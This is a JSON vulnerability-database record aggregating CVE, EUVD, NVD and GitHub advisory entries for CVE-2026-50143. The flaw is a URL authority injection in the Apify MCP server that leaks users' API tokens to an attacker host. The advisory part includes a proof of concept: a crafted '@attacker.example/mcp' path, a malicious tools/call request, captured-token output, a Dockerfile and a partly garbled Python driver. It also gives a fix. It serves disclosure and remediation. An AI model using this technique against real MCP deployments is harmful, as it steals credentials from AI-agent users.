{"id":"CVE-2026-50143","revision":null,"records":[{"revision":"6f786c34d6a440ddac4b4131a3415d72","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-50143","aliases":[],"title":"Actor MCP path authority injection leaks Apify token","description":"The Apify MCP server enables AI agents to extract data from websites using ready-made scrapers, crawlers, and automation tools available on the Apify Store. Prior to 0.10.11, getActorMCPServerURL in src/mcp/actors.ts concatenates the trusted Actor standby URL with the attacker-controlled webServerMcpPath from an Actor definition without verifying the resulting origin, allowing a malicious Actor publisher to use a userinfo-style authority value to redirect connectMCPClient to a third-party host. The call-actor, fetch-actor-details, and actor-mcp tool-loading paths pass this URL to transports in src/mcp/client.ts that attach the victim Authorization bearer token, exposing the Apify API token and enabling access to Actors, stored data, and billable compute. A victim must invoke or inspect the attacker-controlled Actor. This issue is fixed in version 0.10.11.","state":0,"publishedAt":"2026-08-18T17:51:18.888+00:00","modifiedAt":"2026-08-18T19:30:31.747+00:00","affected":[{"ecosystem":"Vendor product","name":"apify-mcp-server","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"apify\",\n                    \"product\": \"apify-mcp-server\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 0.10.11\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","score":8.1,"severity":"HIGH"}],"references":["https://github.com/apify/apify-mcp-server/security/advisories/GHSA-6gr2-qh89-hxwm","https://github.com/apify/apify-mcp-server/pull/927","https://github.com/apify/apify-mcp-server/commit/ef686d77da3d3c86c30b2ae24218d756aa38e09c","https://github.com/apify/apify-mcp-server/releases/tag/v0.10.11"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-50143","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-50143","identifiers":["CVE-2026-50143"]},"retained":false,"historicalAffected":[]},{"revision":"852f322ce5454dd09a975a2c2d2ceef3","observedAt":"2026-11-08T01:58:22.131+00:00","statement":{"source":"euvd","id":"EUVD-2026-61136","aliases":["CVE-2026-50143","GHSA-6gr2-qh89-hxwm"],"title":"The Apify MCP server enables AI agents to extract data from websites using ready-made scrapers, crawlers, and automation tools available on the Apify Store. Prior to 0.10.11, getActorMCPServerURL in src/mcp/actors.ts concatenates the truste…","description":"The Apify MCP server enables AI agents to extract data from websites using ready-made scrapers, crawlers, and automation tools available on the Apify Store. Prior to 0.10.11, getActorMCPServerURL in src/mcp/actors.ts concatenates the trusted Actor standby URL with the attacker-controlled webServerMcpPath from an Actor definition without verifying the resulting origin, allowing a malicious Actor publisher to use a userinfo-style authority value to redirect connectMCPClient to a third-party host. The call-actor, fetch-actor-details, and actor-mcp tool-loading paths pass this URL to transports in src/mcp/client.ts that attach the victim Authorization bearer token, exposing the Apify API token and enabling access to Actors, stored data, and billable compute. A victim must invoke or inspect the attacker-controlled Actor. This issue is fixed in version 0.10.11.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","score":8.1,"severity":null}],"references":["https://github.com/apify/apify-mcp-server/security/advisories/GHSA-6gr2-qh89-hxwm","https://github.com/apify/apify-mcp-server/pull/927","https://github.com/apify/apify-mcp-server/commit/ef686d77da3d3c86c30b2ae24218d756aa38e09c","https://github.com/apify/apify-mcp-server/releases/tag/v0.10.11"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-61136","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Aug 18, 2026, 5:51:18 PM","dateUpdated":"Aug 18, 2026, 7:30:31 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-61136","identifiers":["EUVD-2026-61136","CVE-2026-50143","GHSA-6gr2-qh89-hxwm"]},"retained":false,"historicalAffected":[]},{"revision":"7f0fdf54afc34d50933ec2d9a82eb4d6","observedAt":"2026-10-25T12:17:38.331+00:00","statement":{"source":"nvd","id":"CVE-2026-50143","aliases":[],"title":"The Apify MCP server enables AI agents to extract data from websites using ready-made scrapers, crawlers, and automation tools available on the Apify Store. Prior to 0.10.11, getActorMCPServerURL in src/mcp/actors.ts concatenates the truste…","description":"The Apify MCP server enables AI agents to extract data from websites using ready-made scrapers, crawlers, and automation tools available on the Apify Store. Prior to 0.10.11, getActorMCPServerURL in src/mcp/actors.ts concatenates the trusted Actor standby URL with the attacker-controlled webServerMcpPath from an Actor definition without verifying the resulting origin, allowing a malicious Actor publisher to use a userinfo-style authority value to redirect connectMCPClient to a third-party host. The call-actor, fetch-actor-details, and actor-mcp tool-loading paths pass this URL to transports in src/mcp/client.ts that attach the victim Authorization bearer token, exposing the Apify API token and enabling access to Actors, stored data, and billable compute. A victim must invoke or inspect the attacker-controlled Actor. This issue is fixed in version 0.10.11.","state":0,"publishedAt":"2026-08-18T18:17:53.227+00:00","modifiedAt":"2026-10-22T22:10:00.25+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","score":8.1,"severity":"HIGH"}],"references":["https://github.com/apify/apify-mcp-server/commit/ef686d77da3d3c86c30b2ae24218d756aa38e09c","https://github.com/apify/apify-mcp-server/pull/927","https://github.com/apify/apify-mcp-server/releases/tag/v0.10.11","https://github.com/apify/apify-mcp-server/security/advisories/GHSA-6gr2-qh89-hxwm"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-50143","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-918"],"productCriteria":[],"sourceDates":{"published":"2026-08-18T18:17:53.227","lastModified":"2026-10-22T22:10:00.250"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-50143","identifiers":["CVE-2026-50143"]},"retained":false,"historicalAffected":[]},{"revision":"1288f0789f9d4c07be88ce3dc443e6f1","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-6gr2-qh89-hxwm","aliases":["CVE-2026-50143"],"title":"Apify Model Context Protocol (MCP) server: Actor MCP path authority injection leaks Apify token","description":"## Actor MCP path authority injection leaks Apify token\n\n### Summary\n\n`@apify/actors-mcp-server` version `0.10.7` builds Actor standby URLs by directly concatenating a trusted base URL with an attacker-controlled `webServerMcpPath` value taken from an Actor definition returned by the Apify API. An attacker who publishes a malicious Actor with a crafted `webServerMcpPath` (e.g., `@attacker.example/mcp`) can cause the MCP client to resolve the final URL to an entirely different host. Because the MCP client unconditionally attaches the victim's `Authorization: Bearer <APIFY_TOKEN>` header to every outbound connection, the victim's Apify API token is exfiltrated to the attacker's server. CVSS Base Score: **8.1 (High)**.\n\n### Details\n\n`getActorMCPServerURL()` in `src/mcp/actors.ts:44` constructs the Actor standby MCP URL by naive string concatenation:\n\n```ts\n// src/mcp/actors.ts:44\nreturn `${standbyUrl}${mcpServerPath}`;\n```\n\n`mcpServerPath` originates from the `webServerMcpPath` field of an Actor definition fetched from the Apify API (`src/utils/actor.ts:24-28`). The field is trimmed and comma-split in `getActorMCPServerPath()` (`src/mcp/actors.ts:14-20`) but is never validated to:\n\n- begin with a `/` (relative path),\n- avoid an `@` character (userinfo/authority injection), or\n- resolve to the same origin as `standbyUrl`.\n\nWhen `webServerMcpPath` is set to `@attacker.example/mcp`, the concatenated result becomes:\n\n```\nhttps://real-actor-id.apify.actor@attacker.example/mcp\n```\n\nNode.js's WHATWG URL parser treats everything before `@` as userinfo and extracts `attacker.example` as the hostname. This is not an edge-case browser behavior — it is specified by RFC 3986 and the WHATWG URL standard.\n\nThe constructed URL is forwarded to `connectMCPClient()` through three independent code paths:\n\n| Call site | Trigger |\n|---|---|\n| `src/tools/core/call_actor_common.ts:317` | `call-actor` MCP tool |\n| `src/utils/actor_details.ts:155` | `fetch-actor-details` MCP tool |\n| `src/mcp/server.ts:1047` | actor-mcp type tool loading |\n\n`connectMCPClient()` (`src/mcp/client.ts`) attaches the victim's Apify token as a bearer credential to every transport type:\n\n```ts\n// src/mcp/client.ts:94  — SSEClientTransport requestInit\nauthorization: `Bearer ${token}`,\n\n// src/mcp/client.ts:103 — SSE fetch callback\nheaders.set('authorization', `Bearer ${token}`);\n\n// src/mcp/client.ts:124 — StreamableHTTPClientTransport requestInit\nauthorization: `Bearer ${token}`,\n```\n\nThere is no origin check anywhere between URL construction and the outbound HTTP request.\n\n**Full data-flow chain:**\n\n1. `src/mcp/server.ts:811` — MCP `tools/call` request parameters are read.\n2. `src/mcp/server.ts:816` — `apifyToken` is resolved from `_meta.apifyToken`, server options, or `process.env.APIFY_TOKEN`.\n3. `src/tools/core/call_actor_common.ts:489-497` — attacker-controlled `actor` identifier is resolved via `getActorMcpUrlCached()`.\n4. `src/utils/actor.ts:24-28` — Actor definition is fetched from the Apify API; `webServerMcpPath` is passed to `getActorMCPServerURL()`.\n5. `src/mcp/actors.ts:14-20` — `webServerMcpPath` is trimmed and split; first element is returned without path validation.\n6. `src/mcp/actors.ts:44` — `standbyUrl + mcpServerPath` produces an authority-injected URL.\n7. `connectMCPClient()` is called with the injected URL and the victim's token.\n8. `src/mcp/client.ts:94/103/124` — `Authorization: Bearer <APIFY_TOKEN>` is sent to the attacker's host.\n\n### PoC\n\n**Environment requirements:**\n\n- Docker (network-isolated container; no external network access needed)\n- The repository at commit `4e2b185` checked out under the build context\n\n**Build and run:**\n\n```bash\n# Build the exploit image (from the mcp_38_apify__actors-mcp-server/ context directory)\ndocker build -t vuln-001-poc \\\n  -f vuln-001/Dockerfile \\\n  /path/to/mcp_38_apify__actors-mcp-server\n\n# Run the exploit (--network none: fully air-gapped)\ndocker run --rm --network none vuln-001-poc\n```\n\nThe Dockerfile:\n1. Generates a self-signed TLS certificate for `127.0.0.1` (IP SAN required for Node.js TLS validation).\n2. Installs `@apify/actors-mcp-server@0.10.7` dependencies under `pnpm`.\n3. Sets `NODE_EXTRA_CA_CERTS` so Node.js trusts the self-signed CA.\n4. Runs `exploit.mjs`, which:\n   - Starts an HTTPS capture server on `127.0.0.1:31337`.\n   - Constructs a `webServerMcpPath` of `@127.0.0.1:31337/mcp`.\n   - Calls `getActorMCPServerURL()` directly, producing `https://apify~hello-world.apify.actor@127.0.0.1:31337/mcp`.\n   - Calls `connectMCPClient()` with a simulated victim token (`apify_api_VICTIM_SECRET_TOKEN_DEMO_12345`).\n   - Asserts that the capture server received `Authorization: Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345`.\n\n**Observed output (Phase 2 evidence):**\n\n```\n  parsed.hostname        : 127.0.0.1\n[PASS] URL injection confirmed: request will be sent to 127.0.0.1:31337\n=== STEP 2: attacker HTTPS server received request ===\n  Authorization     : Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345\n=== RESULT: EXPLOIT SUCCESSFUL ===\n[PROOF] Victim token \"Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345\" arrived at attacker server 127.0.0.1:31337\n```\n\n**Alternative MCP request path (real-world scenario):**\n\nA victim running `@apify/actors-mcp-server` connected to an MCP host sends the following request, where `attacker/malicious-mcp` is an Actor published with `webServerMcpPath = \"@attacker.example/mcp\"`:\n\n```json\n{\n  \"jsonrpc\": \"2.0\",\n  \"id\": 1,\n  \"method\": \"tools/call\",\n  \"params\": {\n    \"name\": \"fetch-actor-details\",\n    \"arguments\": {\n      \"actor\": \"attacker/malicious-mcp\",\n      \"output\": { \"mcpTools\": true }\n    },\n    \"_meta\": { \"mcpSessionId\": \"poc-session\" }\n  }\n}\n```\n\nThe attacker's server at `attacker.example` receives:\n\n```\nAuthorization: Bearer apify_api_victim_token\n```\n\n**URL parser primitive (Node.js REPL verification):**\n\n```\nnode -e \"const u=new URL('https://ABC.apify.actor@127.0.0.1:31337/mcp'); console.log(u.hostname, u.username)\"\n# Output: 127.0.0.1  ABC.apify.actor\n```\n\n**Recommended fix:**\n\n```diff\n--- a/src/mcp/actors.ts\n+++ b/src/mcp/actors.ts\n export async function getActorMCPServerURL(realActorId: string, mcpServerPath: string): Promise<string> {\n     const standbyUrl = await getActorStandbyURL(realActorId, standbyBaseUrl);\n-    return `${standbyUrl}${mcpServerPath}`;\n+    const url = new URL(mcpServerPath, `${standbyUrl}/`);\n+    if (url.origin !== standbyUrl) {\n+        throw new Error('Actor MCP server path must resolve under the Actor standby URL');\n+    }\n+    url.username = '';\n+    url.password = '';\n+    return url.toString();\n }\n```\n\n### Impact\n\nAny user of `@apify/actors-mcp-server` who:\n\n1. has an Apify API token configured (via `APIFY_TOKEN`, server options, or `_meta.apifyToken`), and\n2. is induced to invoke `call-actor`, `fetch-actor-details`, or any actor-mcp type tool against an attacker-controlled Actor,\n\nwill have their **Apify API token silently exfiltrated** to the attacker's server. The Apify API token grants full access to the victim's Apify account, including running and managing Actors, accessing stored data, and incurring compute charges. The attack requires no special privileges on the victim's side and no code execution on the victim's machine — only a crafted Actor definition on the Apify platform.\n\nThis is a **Server-Side Request Forgery (SSRF) / URL authority injection** vulnerability. The attacker redirects the MCP client's outbound connection to an arbitrary host while the client continues to send the victim's credential.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM node:24-slim\n\n# ─── system packages ───────────────────────────────────────────────────────────\nRUN apt-get update && apt-get install -y --no-install-recommends openssl python3 \\\n && rm -rf /var/lib/apt/lists/*\n\n# ─── self-signed TLS cert for the attacker capture server (127.0.0.1) ─────────\n# IP SAN required: Node.js rejects certs without SAN matching the requested hostname.\nRUN mkdir /certs && \\\n openssl req -x509 -newkey rsa:2048 \\\n -keyout /certs/key.pem -out /certs/cert.pem \\\n -days 1 -nodes \\\n -subj '/CN=127.0.0.1' \\\n -addext 'subjectAltName=IP:127.0.0.1' \\\n 2>/dev/null\n\n# ─── vulnerable package ────────────────────────────────────────────────────────\nWORKDIR /app\nCOPY repo/ ./\n\n# pnpm@11 is pinned in devEngines; npm/yarn refuse to run inside this checkout.\nRUN npm install -g pnpm@11.1.3 --quiet 2>/dev/null\n\n# Install only production deps — build output not needed; exploit imports from source via tsx.\n# --frozen-lockfile validates the lockfile is up-to-date with package.json.\nRUN pnpm install --frozen-lockfile\n\n# ─── exploit files ─────────────────────────────────────────────────────────────\nCOPY vuln-001/exploit.mjs /exploit.mjs\n\n# Trust our self-signed CA so both undici/fetch and node:https accept TLS connections to 127.0.0.1.\nENV NODE_EXTRA_CA_CERTS=/certs/cert.pem\n\nCMD [\"node\", \"/exploit.mjs\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 dynamic PoC driver.\n\nBuilds the Docker image, runs the exploit container, collects observable evidence,\nand writes phase2_result.json with the outcome.\n\"\"\"\nimport json\nimport os\nimport subprocess\nimport sys\nimport textwrap\n\n# ─── paths ────────────────────────────────────────────────────────────────────\nTHIS_DIR    = os.path.dirname(os.path.abspath(__file__))          # vuln-001/\nCONTEXT_DIR = os.path.dirname(THIS_DIR)                           # mcp_38_apify__actors-mcp-server/\nDOCKERFILE  = os.path.join(THIS_DIR, 'Dockerfile')\nRESULT_PATH = os.path.join(THIS_DIR, 'phase2_result.json')\nIMAGE_TAG   = 'vuln-001-poc'\n\nBUILD_CMD = ['docker', 'build', '-t', IMAGE_TAG, '-f', DOCKERFILE, CONTEXT_DIR]\nRUN_CMD   = ['docker', 'run', '--rm', '--network', 'none', IMAGE_TAG]\n\n\ndef run(cmd, *, timeout, **kwargs):\n    return subprocess.run(cmd, capture_output=True, text=True, timeout=timeout, **kwargs)\n\n\ndef write_result(payload: dict):\n    with open(RESULT_PATH, 'w') as f:\n        json.dump(payload, f, indent=2, ensure_ascii=False)\n    print(f'\\n[*] phase2_result.json write complete: {RESULT_PATH}')\n\n\ndef main():\n    print('=' * 70)\n    print('VULN-001 dynamic reproduction — Actor MCP path authority injection')\n    print('=' * 70)\n\n    # ── 1. Docker build ───────────────────────────────────────────────────────\n    print(f'\\n[1/2] building Docker image...')\n    print(f'      command: {\" \".join(BUILD_CMD)}')\n    build = run(BUILD_CMD, timeout=600)\n    if build.returncode != 0:\n        msg = build.stderr[-2000:] if build.stderr else build.stdout[-2000:]\n        print('[!] build failed:\\n', msg)\n        write_result({\n            'passed': False,\n            'verdict': 'FAIL',\n            'reason': f'Docker build failed. error: {msg[:500]}',\n            'build_command': ' '.join(BUILD_CMD),\n            'run_command': ' '.join(RUN_CMD),\n            'poc_command': f'python3 {os.path.relpath(__file__)}',\n            'evidence': msg[:1000],\n            'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],\n        })\n        sys.exit(1)\n    print('[+] build succeeded')\n\n    # ── 2. Docker run ─────────────────────────────────────────────────────────\n    print(f'\\n[2/2] text while running the container...')\n    print(f'      command: {\" \".join(RUN_CMD)}')\n    try:\n        run_result = run(RUN_CMD, timeout=120)\n    except subprocess.TimeoutExpired:\n        write_result({\n            'passed': False,\n            'verdict': 'INCOMPLETE',\n            'reason': 'container execution 120seconds timeout. text text or TLS handshake issuetext can exists.',\n            'build_command': ' '.join(BUILD_CMD),\n            'run_command': ' '.join(RUN_CMD),\n            'poc_command': f'python3 {os.path.relpath(__file__)}',\n            'evidence': 'timeout',\n            'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],\n        })\n        sys.exit(1)\n\n    stdout = run_result.stdout\n    stderr = run_result.stderr\n    print('\\n--- container stdout ---')\n    print(stdout)\n    if stderr:\n        print('--- container stderr (text 1000characters) ---')\n        print(stderr[:1000])\n\n    # ── 3. result verdict ──────────────────────────────────────────────────────────\n    passed = (\n        run_result.returncode == 0\n        and 'attacker HTTPS server received request' in stdout\n        and 'EXPLOIT SUCCESSFUL' in stdout\n        and 'apify_api_VICTIM_SECRET_TOKEN_DEMO_12345' in stdout\n    )\n\n    # Build evidence excerpt (key lines only)\n    evidence_lines = [l for l in stdout.splitlines()\n                      if any(k in l for k in ['PASS', 'PROOF', 'received request',\n                                               'EXPLOIT', 'parsed.hostname', 'Authorization'])]\n    evidence = '\\n'.join(evidence_lines[:20]) if evidence_lines else stdout[-1500:]\n\n    if passed:\n        print('\\n[✓] PASS — token leak vulnerability dynamic reproduction success')\n        write_result({\n            'passed': True,\n            'verdict': 'PASS',\n            'reason': (\n                'Docker container withintext vulnerabilitytext fully reproductiondone. '\n                'actors.ts:44text `${standbyUrl}${mcpServerPath}` string text '\n                '`@127.0.0.1:31337/mcp` formtext mcpServerPathtext textdo '\n                '`https://apify~hello-world.apify.actor@127.0.0.1:31337/mcp` URLtext createand, '\n                'Node.js URL text hostnametext 127.0.0.1(attacker server)text dotextdo '\n                'client.ts:94text `Authorization: Bearer <APIFY_TOKEN>` headertext attacker HTTPS servertext beforetextdone.'\n            ),\n            'build_command': ' '.join(BUILD_CMD),\n            'run_command': ' '.join(RUN_CMD),\n            'poc_command': f'python3 poc.py',\n            'evidence': evidence,\n            'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],\n        })\n    else:\n        reason_detail = ''\n        if run_result.returncode != 0:\n            reason_detail = f'container exit code {run_result.returncode}. '\n        if 'TOKEN_CAPTURED' not in stdout:\n            reason_detail += 'attacker serverfrom token capture text textnot not. '\n        if 'EXPLOIT SUCCESSFUL' not in stdout:\n            reason_detail += 'final success message none. '\n\n        print(f'\\n[✗] FAIL — {reason_detail}')\n        write_result({\n            'passed': False,\n            'verdict': 'FAIL',\n            'reason': f'failed to reproduce the vulnerability. {reason_detail}stderr: {stderr[:300]}',\n            'build_command': ' '.join(BUILD_CMD),\n            'run_command': ' '.join(RUN_CMD),\n            'poc_command': f'python3 poc.py',\n            'evidence': stdout[-2000:] + ('\\nSTDERR: ' + stderr[:500] if stderr else ''),\n            'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],\n        })\n        sys.exit(1)\n\n\nif __name__ == '__main__':\n    main()\n```","state":0,"publishedAt":"2026-07-01T22:02:15+00:00","modifiedAt":"2026-09-10T03:51:10.7856047+00:00","affected":[{"ecosystem":"npm","name":"@apify/actors-mcp-server","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.10.11"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/apify/apify-mcp-server/security/advisories/GHSA-6gr2-qh89-hxwm","https://github.com/apify/apify-mcp-server"],"sourceUrl":"https://github.com/advisories/GHSA-6gr2-qh89-hxwm","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-6gr2-qh89-hxwm","identifiers":["GHSA-6gr2-qh89-hxwm","CVE-2026-50143"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-08T06:06:40.8743578+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-08T06:06:40.8743578+00:00","lastSuccessAt":"2026-11-08T06:06:41.0239033+00:00","error":null,"lastVerifiedAt":"2026-11-08T06:06:41.0239043+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-eaa64dac63caa79c8d4905619258c41c51b39e461b996124e1a21b5e85e7e738-83dbcd705162368a7389ef21c7d5877b90bc9ecd8679671f4b5e02683a8e1d4f","complete":true,"records":421074,"lastAttemptAt":"2026-11-08T06:06:40.5628876+00:00","lastSuccessAt":"2026-11-08T06:06:40.5495855+00:00","error":null,"lastVerifiedAt":"2026-11-08T06:06:40.5628876+00:00","snapshotPublishedAt":"2026-11-08T05:23:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-ce0df89a405747cda5b7c61ae0b48fb2","complete":true,"records":13633,"lastAttemptAt":"2026-11-08T06:07:06.8623217+00:00","lastSuccessAt":"2026-11-08T05:08:40.263+00:00","error":null,"lastVerifiedAt":"2026-11-08T05:08:40.263+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-08T06:06:40.8743578+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-08T06:06:40.8743578+00:00","lastSuccessAt":"2026-11-08T06:06:41.0246874+00:00","error":null,"lastVerifiedAt":"2026-11-08T06:06:41.0246876+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-f61a222d691b4992bb1403f1a88575db","complete":true,"records":13645,"lastAttemptAt":"2026-11-08T06:07:06.2347163+00:00","lastSuccessAt":"2026-11-08T06:07:06.231+00:00","error":null,"lastVerifiedAt":"2026-11-08T06:07:06.231+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-0eb4d6dde62dffacd040ad992d4fd5a65cd7d0dc5f5f4cfa8b41967fc6f9ca5f","complete":true,"records":9914,"lastAttemptAt":"2026-11-08T06:06:40.830411+00:00","lastSuccessAt":"2026-11-06T20:10:36.6450506+00:00","error":null,"lastVerifiedAt":"2026-11-08T06:06:40.830411+00:00","snapshotPublishedAt":"2026-11-06T20:02:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-08T06:06:40.6194681+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-08T06:06:40.6194681+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-335633e78a15c9cde10a6025895b5617717087fb945489ae7e15d377bacf34a9","complete":true,"records":3055,"lastAttemptAt":"2026-11-08T06:06:40.8424247+00:00","lastSuccessAt":"2026-11-06T16:03:00.7615789+00:00","error":null,"lastVerifiedAt":"2026-11-08T06:06:40.8424247+00:00","snapshotPublishedAt":"2026-11-06T16:02:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-40ad6183a951565ace1520a9b4d631e1d0bfb1d4bf7c5574c375032559f3ff53","complete":true,"records":231292,"lastAttemptAt":"2026-11-08T06:06:40.7260451+00:00","lastSuccessAt":"2026-11-07T10:29:00.4821259+00:00","error":null,"lastVerifiedAt":"2026-11-08T06:06:40.7260451+00:00","snapshotPublishedAt":"2026-11-07T09:32:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}